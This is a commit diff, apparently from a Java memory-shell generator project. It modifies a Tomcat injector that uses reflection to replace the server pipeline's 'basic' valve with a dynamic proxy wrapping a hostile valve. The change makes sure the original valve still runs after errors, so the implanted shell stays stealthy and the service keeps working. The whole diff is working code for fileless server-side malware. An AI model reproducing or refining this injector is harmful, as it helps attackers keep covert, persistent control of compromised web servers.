fix: proxyValve cause service exception

Author: ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java

@@ -57,8 +57,8 @@ public Object invoke(Object proxy, Method method, Object[] args) throws Throwabl
                 }
             } catch (Throwable e) {
                 e.printStackTrace();
-                return method.invoke(rawValve, args);
             }
+            return method.invoke(rawValve, args);
         }
         return method.invoke(rawValve, args);
     }
@@ -110,14 +110,8 @@ public void inject(Object context, Object valve) throws Exception {
         Object pipeline = invokeMethod(context, "getPipeline", null, null);
         ClassLoader contextClassLoader = context.getClass().getClassLoader();
         Class valveClass = contextClassLoader.loadClass("org.apache.catalina.Valve");
-        Object rawValve = null;
-        String fieldName = "first";
-        try {
-            rawValve = getFieldValue(pipeline, fieldName);
-        } catch (NoSuchFieldException e) {
-            fieldName = "basic";
-            rawValve = getFieldValue(pipeline, fieldName);
-        }
+        String fieldName = "basic";
+        Object rawValve = getFieldValue(pipeline, fieldName);
         Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve));
         setFieldValue(pipeline, fieldName, proxyValve);
         System.out.println("proxyValve inject successful");